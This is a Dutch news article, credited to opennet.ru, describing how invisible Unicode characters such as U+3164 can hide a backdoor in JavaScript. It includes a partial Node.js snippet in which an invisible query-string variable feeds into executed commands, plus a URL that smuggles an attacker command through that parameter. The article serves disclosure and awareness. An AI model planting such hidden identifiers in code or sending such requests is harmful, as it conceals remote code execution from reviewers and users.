Onzichtbare Unicode-tekens gebruiken om acties in JavaScript-code te verbergen

In navolging van de Trojan Source-aanvalsmethode op basis van het gebruik van Unicode-tekens die de weergavevolgorde van bidirectionele tekst wijzigen, is een andere techniek gepubliceerd voor het introduceren van verborgen acties, toepasbaar op JavaScript-code. De nieuwe methode is gebaseerd op het gebruik van het unicode-teken "γ…€" (code 0x3164, "HANGUL FILLER"), wat een letter is maar geen zichtbare inhoud heeft. De Unicode-categorie waartoe dit teken behoort, is toegestaan ​​sinds de ECMAScript 2015-specificatie voor gebruik in JavaScript-variabelenamen, wat het mogelijk maakt om onzichtbare variabelen of nieuwe variabelen te maken die niet te onderscheiden zijn van andere variabelen in populaire code-editors zoals Notepad++ en VS Code.

Als voorbeeld wordt de code voor het Node.js-platform gegeven, waarin met behulp van een variabele bestaande uit een enkel teken "γ…€" een achterdeur wordt verborgen waarmee u de door de aanvaller gespecificeerde code kunt uitvoeren: app.get( '/network_health', async (req, res) = > { const { timeout,γ…€} = req.query; // zegt eigenlijk "const { timeout,γ…€ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',γ…€ // komma gevolgd door \u3164 ];

Op het eerste gezicht wordt alleen de time-outwaarde doorgegeven via de externe parameter en bevat de array met de uit te voeren commando's een onschuldige vaste lijst. Maar in feite wordt na de time-outvariabele de waarde van een andere onzichtbare variabele met de symboolcode \u3164 toegewezen, die ook wordt vervangen in de reeks uitvoerbare opdrachten. Dus in de aanwezigheid van een dergelijke structuur kan een aanvaller een verzoek sturen zoals "https://host:8080/network_health?%E3%85%A4=command" om de achterdeur te activeren en zijn code uit te voeren.

Als een ander voorbeeld wordt het teken "Ηƒ" (ALVEOLAR CLICK) gegeven, dat kan worden gebruikt om de indruk te wekken dat het een uitroepteken aangeeft. De uitdrukking "if(environmentΗƒ=ENV_PROD){" zal bijvoorbeeld altijd waar zijn wanneer deze wordt uitgevoerd in Node.js 14, omdat deze niet controleert op verschillen, maar de variabele "environmentΗƒ" instelt op ENV_PROD. Misleidende Unicode-tekens zijn onder andere "/", "-", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ" en "βˆ—".

Bron: opennet.ru

Voeg een reactie